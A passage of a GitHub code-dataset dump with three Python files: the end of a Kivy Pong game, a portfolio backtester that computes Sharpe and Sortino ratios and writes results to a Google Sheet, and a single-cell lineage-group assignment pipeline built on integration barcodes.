else:\n                raise ValueError(\"Collider\", collider, \"has to be a straight line\")\n            self.center_x += dist_x * self.mod\n            self.center_y += dist_y * self.mod\n            self.mod += .1\n\n\nclass PongApp(App):\n    FPS = 60\n\n    def build(self):\n        game = Game()\n        game.restart()\n        Clock.schedule_interval(lambda dt: game.update(), 1./self.FPS)\n        return game\n\n\nif __name__ == '__main__':\n    PongApp().run()","repo_name":"pyfection/network-pong","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":5210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25449119008","text":"import random\n\nimport empyrical as ep\nimport numpy as np\nimport yfinance as yf\nimport gspread as gd\nfrom utils import nasdaq_list, ew\n\n\ndef backtester(tickers, year):\n    start = f\"{year}-01-01\"\n    end = f\"{year}-12-30\"\n\n    df = yf.download(tickers, start, end)['Close'].dropna()\n    index_df = yf.download('^STI', start, end)['Close'].dropna()\n\n    budget = 200000\n    b = []\n    for i in range(len(tickers)):\n        b.append(budget * 1/(len(tickers)))\n    print(b)\n\n    cum_benchmark_returns = index_df.pct_change().dropna().cumsum()\n\n    first_sum_portfolio = sum((np.array(b) // np.array(df.iloc[2])) * np.array(df.iloc[2]))\n    current_sum_portfolio = sum((np.array(b) // np.array(df.iloc[2])) * np.array(df.iloc[-1]))\n    growth_portfolio = (current_sum_portfolio - first_sum_portfolio) / first_sum_portfolio\n\n    portfolio_returns = df.pct_change().dropna()\n    portfolio_returns = portfolio_returns.mean(axis=1)\n    index_returns = index_df.pct_change().dropna()\n\n    shp = ep.stats.sharpe_ratio(portfolio_returns, annualization=252)\n    sort = ep.stats.sortino_ratio(portfolio_returns, annualization=252)\n    shp_b = ep.stats.sharpe_ratio(index_returns, annualization=252)\n    sort_b = ep.stats.sortino_ratio(index_returns, annualization=252)\n    inf = ep.stats.excess_sharpe(portfolio_returns,\n                                 index_returns)\n    dd = ep.stats.max_drawdown(portfolio_returns)\n    dd_b = ep.stats.max_drawdown(index_returns)\n\n    print(f\"Доходность портфееля {tickers} при равных весах\")\n    print('********************************')\n    print(f\"Доходность портфеля: {round(growth_portfolio * 100, 2)}%\")\n    print(f\"Доходность портфеля годовая: {round(((growth_portfolio * 100) / len(df)) * 252, 2)}%\")\n    print(f\"Sharpe ratio: {round(shp, 4)}\")\n    print(f\"Sortino ratio: {round(sort, 4)}\")\n    print(f\"Information ratio: {round(inf, 4)}\")\n    print(f\"Max Drawdown: {round((dd * 100), 2)}%\")\n    print(\"*******************************\")\n    print(\"****Результат анализа рынка****\")\n    print(f\"Доходность индекса: {round((cum_benchmark_returns[-1] * 100), 2)}%\")\n    print(f\"Доходность индекса годовая: {round(((cum_benchmark_returns[-1] * 100) / len(df)) * 252, 2)}%\")\n    print(f\"Sharpe ratio for benchmark: {round(shp_b, 4)}\")\n    print(f\"Sortino ratio for benchmark: {round(sort_b, 4)}\")\n    print(f\"Max Drawdown benchmark: {round((dd_b * 100), 2)}%\")\n    print('*******************************')\n\n    return [round(growth_portfolio * 100, 2), round(shp, 4), round(sort, 4), round((dd * 100), 2)]\n\n\n# nasdaq_list = ['AAPL', 'MSFT', 'AMZN', 'TSLA', 'NVDA', 'GOOG', 'FB', 'ADBE', 'NFLX', 'CMCSA', 'CSCO', 'COST',\n#                'AVGO', 'PEP', 'PYPL', 'INTC', 'QCOM', 'TXN', 'INTU', 'AMD', 'TMUS', 'HON', 'AMAT', 'SBUX', 'CHTR',\n#                'MRNA', 'AMGN', 'ISRG', 'ADP', 'ADI', 'LRCX', 'MU', 'GILD', 'BKNG', 'MDLZ', 'CSX', 'MRVL', 'REGN',\n#                'FISV', 'ASML', 'JD', 'KLAC', 'NXPI', 'ADSK', 'LULU', 'ILMN', 'XLNX', 'VRTX', 'SNPS', 'MELI', 'EXC',\n#                'WDAY', 'DXCM', 'IDXX', 'CDNS', 'ALGN', 'KDP', 'MAR', 'TEAM', 'MCHP', 'ORLY', 'ATVI', 'ZM', 'MNST',\n#                'CTAS', 'EBAY', 'PAYX', 'CTSH', 'AEP', 'KHC', 'WBA', 'ROST', 'CRWD', 'VRSK', 'EA', 'XEL', 'MTCH',\n#                'BIDU', 'FAST', 'CPRT', 'ANSS', 'BIIB', 'DLTR', 'OKTA', 'NTES', 'PCAR', 'SGEN', 'VRSN', 'CDW', 'DOCU',\n#                'SIRI', 'SWKS', 'CERN', 'PDD', 'SPLK', 'INCY', 'CHKP', 'TCOM', 'PTON', 'FOXA', 'FOX', 'AZN']\n\n# assets = sorted(random.sample(nasdaq_list, 10))\n# year = 2021\n# backtester(assets, year)\ngc = gd.service_account('../options-349716-50a9f6e13067.json')\nworksheet = gc.open('Тесты бэктестинга').worksheet('Бэктест 4.0')\n\nasts = ['D05.SI', 'N2IU.SI', 'A17U.SI', 'S63.SI', 'BN4.SI']\nm = 152\nres = backtester(asts, year=2017)\nprint(f\"insert {res[0]} into {ew[0]}{m}\")\nworksheet.update(f\"{ew[0]}{m}\", res[0])\nprint(f\"insert {res[3]} into {ew[1]}{m}\")\nworksheet.update(f\"{ew[1]}{m}\", res[3])\nprint(f\"insert {res[1]} into {ew[2]}{m}\")\nworksheet.update(f\"{ew[2]}{m}\", res[1])\nprint(f\"insert {res[2]} into {ew[3]}{m}\")\nworksheet.update(f\"{ew[3]}{m}\", res[2])\n","repo_name":"Badchaos11/model_testers","sub_path":"models/random_portfolio_tester.py","file_name":"random_portfolio_tester.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1066143840","text":"import sys\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport pylab\nfrom matplotlib import colors, colorbar\nfrom scipy import cluster\n#import rpy2\n#import rpy2.robjects as robjects\n#from rpy2.robjects.packages import importr\nfrom tqdm import tqdm\n#from rpy2.robjects import r, numpy2ri\nimport time\nimport yaml\nimport networkx as nx\n\nimport argparse \n\nsys.setrecursionlimit(10000)\nfrom . import lineageGroup_utils as lg_utils\n\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n# NOTE: NEED PANDAS >= 0.22.0\n\ndef create_output_dir(outputdir = None):\n    \"\"\"\n    A simple  function to create an output directory to store important logging information,\n    as well as important figures for qc\n    \"\"\"\n\n    if outputdir is None:\n        i = 1\n        outputdir = \"output\" + str(i)\n\n        while os.path.exists(os.path.dirname(outputdir)):\n\n            i += 1\n            outputdir = \"output\" + str(i)\n\n    if not os.path.exists(outputdir):\n        os.makedirs(outputdir)\n\n    with open(outputdir + \"/lglog.txt\", \"w\") as f:\n        f.write(\"LINEAGE GROUP OUTPUT LOG:\\n\")\n\n    return outputdir\n\ndef findTopLG(PIVOT_in, iteration, outputdir, min_intbc_prop = 0.2, kinship_thresh=0.2):\n\n    # calculate sum of observed intBCs, identify top intBC\n    intBC_sums = PIVOT_in.sum(0).sort_values(ascending=False)\n    ordered_intBCs = intBC_sums.index.tolist()\n    intBC_top = intBC_sums.index[0]\n\n\n    # take subset of PIVOT table that contain cells that have the top intBC\n    subPIVOT_in = PIVOT_in[PIVOT_in[intBC_top]>0]\n    subPIVOT_in_sums = subPIVOT_in.sum(0)\n    ordered_intBCs2 = subPIVOT_in_sums.sort_values(ascending=False).index.tolist()\n    subPIVOT_in = subPIVOT_in[ordered_intBCs2]\n    \n    # binarize\n    subPIVOT_in[subPIVOT_in>0]=1\n\n\n    # Define intBC set\n    subPIVOT_in_sums2 = subPIVOT_in.sum(0)\n    total = subPIVOT_in_sums2[intBC_top]\n    intBC_sums_filt = subPIVOT_in_sums2[subPIVOT_in_sums2>=min_intbc_prop*total]\n    \n    # Reduce PIV to only intBCs considered in set\n    intBC_set = intBC_sums_filt.index.tolist()\n    PIV_set = PIVOT_in.iloc[:,PIVOT_in.columns.isin(intBC_set)]\n\n    # Calculate fraction of UMIs within intBC_set (\"kinship\") for each cell in PIV_set\n    f_inset = PIV_set.sum(axis=1)\n\n    # define set of cells with good kinship\n    f_inset_filt = f_inset[f_inset>=kinship_thresh]\n    LG_cells = f_inset_filt.index.tolist()\n\n    # Return updated PIV with LG_cells removed\n    PIV_noLG = PIVOT_in.iloc[~PIVOT_in.index.isin(LG_cells),:]\n\n    # Return PIV with LG_cells assigned\n    PIV_LG = PIVOT_in.iloc[PIVOT_in.index.isin(LG_cells),:]\n    PIV_LG[\"lineageGrp\"]= iteration+1\n    \n    with open(outputdir + \"/lglog.txt\", \"a\") as f:\n        # print statements\n        f.write(\"LG\"+str(iteration+1)+\" Assignment: \" + str(PIV_LG.shape[0]) +  \" cells assigned\\n\")\n    \n    # Plot distribution of kinship scores\n    h4 = plt.figure(figsize=(15,10))\n    ax4 = plt.hist(f_inset, bins=49, alpha=0.5, histtype='step')\n    yax4 = plt.yscale('log', basey=10)\n    plt.savefig(outputdir + \"/kinship_scores.png\")\n \n    return PIV_LG, PIV_noLG, intBC_set\n\ndef iterative_lg_assign(pivot_in, min_clust_size, outputdir, min_intbc_thresh=0.2, kinship_thresh=0.2):\n    ## Run LG Assign function\n\n    # initiate output variables\n    PIV_assigned = pd.DataFrame()\n    master_intBC_list = []\n\n    # Loop for iteratively assigning LGs\n    prev_clust_size = np.inf\n\n    i = 0\n    while prev_clust_size > min_clust_size:\n        # run function\n        PIV_outs = findTopLG(pivot_in, i, outputdir, min_intbc_prop=min_intbc_thresh, kinship_thresh=kinship_thresh)\n        \n        # parse returned objects\n        PIV_LG = PIV_outs[0]\n        PIV_noLG = PIV_outs[1]\n        intBC_set_i = PIV_outs[2]\n        \n        # append returned objects to output variables\n        PIV_assigned = PIV_assigned.append(PIV_LG)\n        master_intBC_list.append(intBC_set_i)\n        \n        # update PIVOT-in\n        pivot_in = PIV_noLG\n\n        prev_clust_size = PIV_LG.shape[0]\n\n        i += 1\n\n    return PIV_assigned, master_intBC_list\n\ndef get_lg_group(df, piv, curr_LG):\n\n    lg_group = df[df[\"lineageGrp\"] == curr_LG]\n    cells = np.unique(lg_group[\"cellBC\"])\n\n    lg_pivot = piv.loc[cells]\n\n    props = lg_pivot.apply(lambda x: pylab.sum(x) / len(x)).to_frame().reset_index()\n    props.columns = [\"iBC\", \"prop\"]\n\n    props = props.sort_values(by=\"prop\", ascending=False)\n    props.index = props[\"iBC\"]\n\n    return lg_group, props\n\ndef rand_cmap(nlabels, type='bright', first_color_black=True, last_color_black=False, verbose=True):\n    \"\"\"\n    Creates a random colormap to be used together with matplotlib. Useful for segmentation tasks\n    :param nlabels: Number of labels (size of colormap)\n    :param type: 'bright' for strong colors, 'soft' for pastel colors\n    :param first_color_black: Option to use first color as black, True or False\n    :param last_color_black: Option to use last color as black, True or False\n    :param verbose: Prints the number of labels and shows the colormap. True or False\n    :return: colormap for matplotlib\n    \"\"\"\n    from matplotlib.colors import LinearSegmentedColormap\n    import colorsys\n\n    if type not in ('bright', 'soft'):\n        print ('Please choose \"bright\" or \"soft\" for type')\n        return\n\n    if verbose:\n        print('Number of labels: ' + str(nlabels))\n\n    # Generate color map for bright colors, based on hsv\n    if type == 'bright':\n        randHSVcolors = [(np.random.uniform(low=0.0, high=1),\n                          np.random.uniform(low=0.2, high=1),\n                          np.random.uniform(low=0.9, high=1)) for i in range(nlabels)]\n\n        # Convert HSV list to RGB\n        randRGBcolors = []\n        for HSVcolor in randHSVcolors:\n            randRGBcolors.append(colorsys.hsv_to_rgb(HSVcolor[0], HSVcolor[1], HSVcolor[2]))\n\n        if first_color_black:\n            randRGBcolors[0] = [0, 0, 0]\n\n        if last_color_black:\n            randRGBcolors[-1] = [0, 0, 0]\n\n        random_colormap = LinearSegmentedColormap.from_list('new_map', randRGBcolors, N=nlabels)\n\n    # Generate soft pastel colors, by limiting the RGB spectrum\n    if type == 'soft':\n        low = 0.6\n        high = 0.95\n        randRGBcolors = [(np.random.uniform(low=low, high=high),\n                          np.random.uniform(low=low, high=high),\n                          np.random.uniform(low=low, high=high)) for i in range(nlabels)]\n\n        if first_color_black:\n            randRGBcolors[0] = [0, 0, 0]\n\n        if last_color_black:\n            randRGBcolors[-1] = [0, 0, 0]\n        random_colormap = LinearSegmentedColormap.from_list('new_map', randRGBcolors, N=nlabels)\n\n    # Display colorbar\n    if verbose:\n        from matplotlib import colors, colorbar\n        from matplotlib import pyplot as plt\n        fig, ax = plt.subplots(1, 1, figsize=(15, 0.5))\n\n        bounds = np.linspace(0, nlabels, nlabels + 1)\n        norm = colors.BoundaryNorm(bounds, nlabels)\n\n        cb = colorbar.ColorbarBase(ax, cmap=random_colormap, norm=norm, spacing='proportional', ticks=None,\n                                   boundaries=bounds, format='%1i', orientation=u'horizontal')\n\n    return random_colormap\n\n\ndef assign_lineage_groups(dfMT, max_kinship_LG, master_intBCs):\n    \"\"\"\n    Assign cells in the allele table to a lineage group\n\n    :param alleletable: allele table\n    :param ind1: clusterings\n    :param df_pivot_I: binary pivot table relating cell BC to integration BC\n    :return: allele table with lineage group assignments\n    \"\"\"\n\n    dfMT[\"lineageGrp\"]=0\n\n    cellBC2LG = {}\n    for n in max_kinship_LG.index:\n        cellBC2LG[n] = max_kinship_LG.loc[n, \"lineageGrp\"]\n\n\n    dfMT[\"lineageGrp\"] = dfMT[\"cellBC\"].map(cellBC2LG)\n\n    dfMT[\"lineageGrp\"] = dfMT[\"lineageGrp\"].fillna(value=0)\n\n    lg_sizes = {}\n    rename_lg = {}\n\n    for n, g in dfMT.groupby([\"lineageGrp\"]):\n\n        if n != 0:\n            lg_sizes[n] = len(g[\"cellBC\"].unique())\n\n    sorted_by_value = sorted(lg_sizes.items(), key = lambda kv: kv[1])[::-1]\n\n    for i, tup in zip(range(1, len(sorted_by_value)+1), sorted_by_value):\n        print(i, tup[0], float(i))\n        rename_lg[tup[0]] = float(i)\n\n    rename_lg[0] = 0.0\n\n    dfMT[\"lineageGrp\"] = dfMT.apply(lambda x: rename_lg[x.lineageGrp], axis=1)\n\n    return dfMT\n\n\n\ndef plot_overlap_heatmap(at_pivot_I, at, outputdir):\n\n    # remove old plots\n    plt.close()\n\n    flat_master = []\n    for n, lg in at.groupby(\"lineageGrp\"):\n\n        for item in lg[\"intBC\"].unique():\n            flat_master.append(item)\n\n    at_pivot_I = at_pivot_I[flat_master]\n\n    h2 = plt.figure(figsize=(20,20))\n    axmat2 = h2.add_axes([0.3,0.1,0.6,0.8])\n    im2 = axmat2.matshow(at_pivot_I, aspect='auto', origin='upper')\n\n    plt.savefig(outputdir + \"/clustered_intbc.png\")\n    plt.close()\n\ndef add_cutsite_encoding(lg_group):\n\n    lg_group[\"s1\"] = 0\n    lg_group[\"s2\"] = 0\n    lg_group[\"s3\"] = 0\n\n\n    for i in lg_group.index:\n        if lg_group.loc[i, \"r1\"] == \"['None']\":\n            lg_group.loc[i, \"s1\"] = .9\n        elif \"D\" in lg_group.loc[i, \"r1\"]:\n            lg_group.loc[i, \"s1\"] = 1.9\n        elif 'I' in lg_group.loc[i, \"r1\"]:\n            lg_group.loc[i, 's1'] = 2.9\n\n        if lg_group.loc[i, \"r2\"] == \"['None']\":\n            lg_group.loc[i, \"s2\"] = .9\n        elif \"D\" in lg_group.loc[i, \"r2\"]:\n            lg_group.loc[i, \"s2\"] = 1.9\n        elif 'I' in lg_group.loc[i, \"r2\"]:\n            lg_group.loc[i, 's2'] = 2.9\n\n        if lg_group.loc[i, \"r3\"] == \"['None']\":\n            lg_group.loc[i, \"s3\"] = .9\n        elif \"D\" in lg_group.loc[i, \"r3\"]:\n            lg_group.loc[i, \"s3\"] = 1.9\n        elif 'I' in lg_group.loc[i, \"r3\"]:\n            lg_group.loc[i, 's3'] = 2.9\n\n    return lg_group\n\ndef plot_overlap_heatmap_lg(at, at_pivot_I, outputdir):\n\n    if not os.path.exists(outputdir + \"/lineageGrp_piv_heatmaps\"):\n        os.makedirs(outputdir + \"/lineageGrp_piv_heatmaps\")\n\n    for n, lg_group in  tqdm(at.groupby(\"lineageGrp\")):\n\n        plt.close()\n\n        lg_group = add_cutsite_encoding(lg_group)\n\n        s_cmap = colors.ListedColormap(['grey', 'red', 'blue'], N=3)\n\n        lg_group_pivot = pd.pivot_table(lg_group, index=[\"cellBC\"], columns=[\"intBC\"], values=['s1', 's2', 's3'], aggfunc=pylab.mean).T\n        lg_group_pivot2 = pd.pivot_table(lg_group,index=['cellBC'],columns=['intBC'],values='UMI',aggfunc=pylab.size)\n\n        cell_umi_count = lg_group.groupby([\"cellBC\"]).agg({\"UMI\": \"count\"}).sort_values(by=\"UMI\")\n        n_unique_alleles = lg_group.groupby([\"intBC\"]).agg({\"r1\": \"nunique\", \"r2\": \"nunique\", \"r3\": \"nunique\"})\n\n        cellBCList = lg_group[\"cellBC\"].unique()\n\n        col_order = lg_group_pivot2.dropna(axis=1, how=\"all\").sum().sort_values(ascending=False,inplace=False).index\n\n        if len(col_order) < 2:\n            continue\n\n        s3 = lg_group_pivot.unstack(level=0).T\n        s3 = s3[col_order]\n        s3 = s3.T.stack(level=1).T\n\n        s3 = s3.loc[cell_umi_count.index]\n\n        s3_2 = lg_group_pivot2.dropna(axis=1, how=\"all\").sum().sort_values(ascending=False, inplace=False)[col_order]\n\n        n_unique_alleles = n_unique_alleles.loc[col_order]\n        s3_intBCs = col_order\n        s3_cellBCs = s3.index.tolist()\n\n\n        # Plot heatmap\n        h = plt.figure(figsize=(14,10))\n\n        ax = h.add_axes([0.3, 0.1, 0.6, 0.8],frame_on=True)\n        im = ax.matshow(s3, aspect='auto', origin =\"lower\", cmap=s_cmap)\n\n        axx1 = plt.xticks(range(1, len(col_order)*3, 3), col_order, rotation='vertical', family=\"monospace\")\n\n        ax3 = h.add_axes([0.2, 0.1, 0.1, 0.8], frame_on=True)\n        plt.barh(range(s3.shape[0]), cell_umi_count[\"UMI\"])\n        plt.ylim([0, s3.shape[0]])\n        ax3.autoscale(tight=True)\n\n\n        axy0 = ax3.set_yticks(range(len(s3_cellBCs)))\n        axy1 = ax3.set_yticklabels(s3_cellBCs, family='monospace')\n\n        w = (1/3)\n        x = np.arange(len(s3_intBCs))\n        ax2 = h.add_axes([0.3, 0, 0.6, 0.1], frame_on = False)\n        b1 = ax2.bar(x - w, n_unique_alleles[\"r1\"], width = w, label=\"r1\")\n        b2 = ax2.bar(x, n_unique_alleles[\"r2\"], width = w, label=\"r2\")\n        b3 = ax2.bar(x + w, n_unique_alleles[\"r3\"], width = w, label='r3')\n        ax2.set_xlim([0, len(s3_intBCs)])\n        ax2.set_ylim(ymin=0, ymax=(max(n_unique_alleles[\"r1\"].max(), n_unique_alleles[\"r2\"].max(), n_unique_alleles[\"r3\"].max()) + 10))\n        ax2.set_xticks([])\n        ax2.yaxis.tick_right()\n        ax2.invert_yaxis()\n        ax2.autoscale(tight=True)\n        plt.legend()\n\n        #plt.gcf().subplots_adjust(bottom=0.15)\n        plt.tight_layout()\n        plt.savefig(outputdir + \"/lineageGrp_piv_heatmaps/lg_\" + str(int(n)) + \"_piv_heatmap.png\")\n        plt.close()\n\n\ndef collectAlleles(at, thresh = 0.05):\n\n    lineageGrps = at[\"lineageGrp\"].unique()\n    at_piv = pd.pivot_table(at, index=\"cellBC\", columns=\"intBC\", values=\"UMI\", aggfunc=\"count\")\n    at_piv.fillna(value = 0, inplace=True)\n    at_piv[at_piv > 0] = 1\n\n\n    lgs = []\n\n    for i in tqdm(lineageGrps):\n\n        lg = at[at[\"lineageGrp\"] == i]\n        cells = lg[\"cellBC\"].unique()\n\n        lg_pivot = at_piv.loc[cells]\n\n        props = lg_pivot.apply(lambda x: pylab.sum(x) / len(x)).to_frame().reset_index()\n        props.columns = [\"iBC\", \"prop\"]\n\n        props = props.sort_values(by=\"prop\", ascending=False)\n        props.index = props[\"iBC\"]\n        \n        p_bc = props[(props[\"prop\"] > thresh) & (props[\"iBC\"] != \"NC\")]\n\n        lg_group = lg.loc[np.in1d(lg[\"intBC\"], p_bc[\"iBC\"])]\n        lgs.append(lg_group)\n\n    return lgs\n\ndef filteredLG2AT(filtered_lgs):\n\n    final_df = pd.concat(filtered_lgs)\n\n    final_df = final_df.groupby([\"cellBC\", \"intBC\", \"allele\", \"r1\", \"r2\", \"r3\", \"r1_no_context\", \"r2_no_context\", \"r3_no_context\", \"lineageGrp\"], as_index=False).agg({\"UMI\": \"count\", \"readCount\": \"sum\"})\n\n    final_df[\"Sample\"] = final_df.apply(lambda x: x.cellBC.split(\".\")[0], axis=1)\n\n    return final_df\n\ndef filter_low_prop_intBCs(PIV_assigned, thresh = 0.2):\n\n    master_intBCs = {}\n    master_LGs = []\n\n    for i, PIV_i in PIV_assigned.groupby([\"lineageGrp\"]):\n        PIVi_bin = PIV_i.copy()\n        PIVi_bin = PIVi_bin.drop(['lineageGrp'], axis=1) # drop the lineageGroup column\n        PIVi_bin[PIVi_bin>0]=1\n\n        intBC_sums = PIVi_bin.sum(0)\n        ordered_intBCs = intBC_sums.sort_values(ascending=False).index.tolist()\n        intBC_normsums = intBC_sums/max(intBC_sums)\n        \n        intBC_normsums_filt_i = intBC_normsums[intBC_normsums >= thresh]\n        intBC_set_i = intBC_normsums_filt_i.index.tolist()\n        \n        # update masters\n        master_intBCs[i] = intBC_set_i\n        master_LGs.append(i)\n    \n    return master_LGs, master_intBCs\n\ndef filterCellBCs(moleculetable, outputdir, umiCountThresh = 10, verbose=True):\n    \"\"\"\n    Filter out cell barcodes thmt have too few UMIs\n\n    :param moleculetable: allele table\n    :param outputdir: file pmth to output directory\n    :return: filtered allele table, cellBC to number umis mapping\n    \"\"\"\n\n    if verbose:\n        with open(outputdir + \"/lglog.txt\", \"a\") as f:\n            f.write(\"FILTER CELL BARCODES:\\n\")\n\n            f.write(\"Initial:\\n\")\n            f.write(\"# UMIs: \" + str(moleculetable.shape[0]) + \"\\n\")\n            f.write(\"# Cell BCs: \" + str(len(np.unique(moleculetable[\"cellBC\"]))) + \"\\n\")\n\n    tooFewUMI_UMI = []\n    cellBC2nM = {}\n\n    # Create a cell-filter dictionary for hash lookup lmter on when filling\n    # in the table\n    cell_filter = {}\n\n    for n, group in tqdm(moleculetable.groupby([\"cellBC\"])):\n        if np.sum(group[\"UMI\"].values) <= umiCountThresh:\n            cell_filter[n] = \"bad\"\n            tooFewUMI_UMI.append(np.sum(group[\"UMI\"].values))\n        else:\n            cell_filter[n] = \"good\"\n            cellBC2nM[n] = np.sum(group[\"UMI\"].values)\n\n    # apply the filter using the hash table created above\n    moleculetable[\"status\"] = moleculetable[\"cellBC\"].map(cell_filter)\n\n    # count how many cells/umi's passed the filter for logging purposes\n    status = cell_filter.values()\n    tooFewUMI_cellBC = len(status) - len(np.where(status == \"good\")[0])\n    tooFewUMI_UMI = np.sum(tooFewUMI_UMI)\n\n    goodumis = moleculetable[(moleculetable[\"status\"] == \"good\")].shape[0]\n\n    # filter based on status & reindex\n    n_moleculetable = moleculetable[(moleculetable[\"status\"] == \"good\")]\n    n_moleculetable.index = [i for i in range(n_moleculetable.shape[0])]\n\n    # log results\n    if verbose:\n        with open(outputdir + \"/lglog.txt\", \"a\") as f:\n            f.write(\"Post:\\n\")\n            f.write(\"# UMIs: \" + str(n_moleculetable.shape[0]) + \"\\n\")\n            f.write(\"# Cell BCs: \" + str(len(np.unique(n_moleculetable[\"cellBC\"]))) + \"\\n\\n\")\n\n\n    return n_moleculetable, cellBC2nM\n\ndef merge_lineage_groups(at, outputdir, thresh=0.3):\n\n    lg_intbc_piv = pd.pivot_table(at, index=\"lineageGrp\", columns=[\"intBC\"], values=\"UMI\", aggfunc=\"count\")\n    lg_intbc_piv[lg_intbc_piv > 0] = 1\n    lg_intbc_piv.fillna(value=0)\n\n    lg_oMat = np.asarray(lg_utils.maxOverlap(lg_intbc_piv.T))\n\n    lg_oMat = sp.spatial.distance.squareform(lg_oMat)\n\n    for i in range(lg_oMat.shape[0]):\n        lg_oMat[i, i] = 1.0\n\n    to_collapse = []\n    for i in range(lg_oMat.shape[0]):\n        for j in range(i+1, lg_oMat.shape[0]):\n            if lg_oMat[i, j] > thresh:\n                coll = (i, j)\n                to_collapse.append(coll)\n\n    collapse_net = nx.Graph()\n    for pair in to_collapse:\n\n        collapse_net.add_edge(pair[0], pair[1])\n\n    num_lg = len(at[\"lineageGrp\"].unique())\n    cc = list(nx.connected_components(collapse_net))\n    for i, c in zip(range(1, len(cc)+1), cc):\n    \n        for n in c:\n\n            at.loc[at[\"lineageGrp\"] == n, \"lineageGrp\" ]= i + num_lg \n\n    lg_sizes = {}\n    rename_lg = {}\n\n    for n, g in at.groupby([\"lineageGrp\"]):\n\n        lg_sizes[n] = len(g[\"cellBC\"].unique())\n\n    sorted_by_value = sorted(lg_sizes.items(), key = lambda kv: kv[1])[::-1]\n\n    for i, tup in zip(range(len(sorted_by_value)), sorted_by_value):\n    \n        rename_lg[tup[0]] = float(i)\n\n    at[\"lineageGrp\"] = at.apply(lambda x: rename_lg[x.lineageGrp], axis=1)\n\n    with open(outputdir + \"/lglog.txt\", \"a\") as f:\n        f.write(\"Collapsing the following lineage groups:\\n\")\n        for coll in to_collapse:\n            f.write(str(coll) + \"\\n\")\n\n    return at\n\ndef filter_cells_by_kinship_scores(PIV, master_LGs, master_intBCs, outputdir):\n\n    dfLG2intBC = pd.DataFrame()\n\n    for i in range(len(master_LGs)):\n        LGi = master_LGs[i]\n        intBCsi = master_intBCs[LGi]\n        dfi = pd.DataFrame(index=[LGi], columns=intBCsi, data=1)\n        dfLG2intBC = dfLG2intBC.append(dfi,'sort=False')\n\n    dfLG2intBC = dfLG2intBC.fillna(0)\n\n    # reorder\n    flat_master_intBCs = []\n    intBC_dupl_check = set()\n    for key in master_intBCs.keys():\n        sublist = master_intBCs[key]\n        for item in sublist:\n            if item not in intBC_dupl_check:\n                flat_master_intBCs.append(item)\n                intBC_dupl_check.add(item)\n\n    dfLG2intBC = dfLG2intBC[flat_master_intBCs]\n\n    # Construct matrices for multiplication\n    ## subPIVOT (cellBC vs. intBC, value = freq)\n    subPIVOT = PIV[flat_master_intBCs]\n    subPIVOT = subPIVOT.fillna(0)\n\n    # Matrix math\n    dfCellBC2LG = subPIVOT.dot(dfLG2intBC.T)\n    max_kinship = dfCellBC2LG.max(axis=1)\n\n    max_kinship_ind = dfCellBC2LG.idxmax(axis=1).to_frame()\n    max_kinship_frame = max_kinship.to_frame()\n\n    max_kinship_LG = pd.concat([max_kinship_frame, max_kinship_ind+1], axis=1)\n    max_kinship_LG.columns = [\"maxOverlap\",\"lineageGrp\"]\n\n    #max_kinship_LG_filt = max_kinship_LG[max_kinship_LG['maxOverlap'] >= 0.75]\n\n    #with open(outputdir + \"/lglog.txt\", \"a\") as f:\n    #    f.write(str(max_kinship_LG.shape[0] - max_kinship_LG_filt.shape[0]) + \" cells filtered by kinship\\n\")\n\n    return max_kinship_LG\n    \n\n\ndef main():\n\n    # Read in parameters\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('molecule_table', type=str, help=\"MoleculeTable to be processed\")\n    parser.add_argument('output_fp', type=str, help=\"Output name for AlleleTable, to be saved in output directory\")\n    parser.add_argument(\"output_dir\", type=str, help=\"File path to output directory for all results\")\n    parser.add_argument(\"--min_cluster_prop\", default=0.005, help=\"Minimum proportion of cells that can fall into a cluster for lineage group calling\") \n    parser.add_argument(\"--min_intbc_thresh\", default=0.05, help=\"Threshold to filter out poor intBC per LineageGroup, as a function of the proportion of cells that report that intBC in the LG\")\n    parser.add_argument(\"--kinship_thresh\", default = 0.25, help=\"Threshold by which to exclude cells during lineage group calling, based on their overlap (or kinship) of intBCs in that lineage group.\")\n    parser.add_argument(\"--detect_doublets_inter\", default=False, action='store_true', help=\"Perform Inter-Doublet (from different  LGs) Detection\")\n    parser.add_argument(\"--doublet_threshold\", default=0.35, help=\"Threshold at which to call intra-doublets\")\n    parser.add_argument(\"--verbose\", \"-v\", default=False, action=\"store_true\", help=\"Verbose output\")\n    parser.add_argument(\"--cell_umi_filter\", default=10, help=\"Minimum UMIs per cell for final alleleTable\")\n    parser.add_argument(\"--plot\", default=False, action=\"store_true\", help=\"Plot summaries at end of process\")\n\n    args = parser.parse_args()\n\n    alleleTable_fp = args.molecule_table\n    output_fp = args.output_fp\n    outputdir = args.output_dir\n    min_cluster_prop = float(args.min_cluster_prop)\n    min_intbc_thresh = float(args.min_intbc_thresh)\n    kinship_thresh = float(args.kinship_thresh)\n    verbose = args.verbose\n    detect_doublets = args.detect_doublets_inter\n    doublet_thresh = float(args.doublet_threshold)\n    cell_umi_filter = int(args.cell_umi_filter)\n    plot = args.plot\n \n    t0 = time.time()\n\n    outputdir = create_output_dir(outputdir)\n\n    print(\">>> READING IN ALLELE TABLE...\")\n    mt = pd.read_csv(alleleTable_fp, sep='\\t')\n\n    if \"allele\" not in mt.columns:\n        mt[\"allele\"] = mt.apply(lambda x: x[\"r1\"] + x[\"r2\"] + x[\"r3\"], axis=1)\n\n    with open(outputdir + \"/lglog.txt\", \"a\") as f:\n        f.write(str(mt.shape[0]) + \" UMIs (rows), with \" + str(mt.shape[1]) + \" attributes (columns)\\n\")\n        f.write(str(len(mt[\"cellBC\"].unique())) + \" Cells\\n\")\n\n    PIV = pd.pivot_table(mt, index=\"cellBC\",columns=\"intBC\", values=\"UMI\", aggfunc=\"count\")\n    PIV = PIV.div(PIV.sum(axis=1), axis=0)\n\n    # reorder PIV columns by binarized intBC frequency\n    PIVbin = PIV.copy()\n    PIVbin[PIVbin>0]=1\n    intBC_sums = PIVbin.sum(0)\n    ordered_intBCs = intBC_sums.sort_values(ascending=False).index.tolist()\n    PIV = PIV[ordered_intBCs]\n\n    min_clust_size = int(min_cluster_prop * PIV.shape[0])\n    print(\">>> CLUSTERING WITH 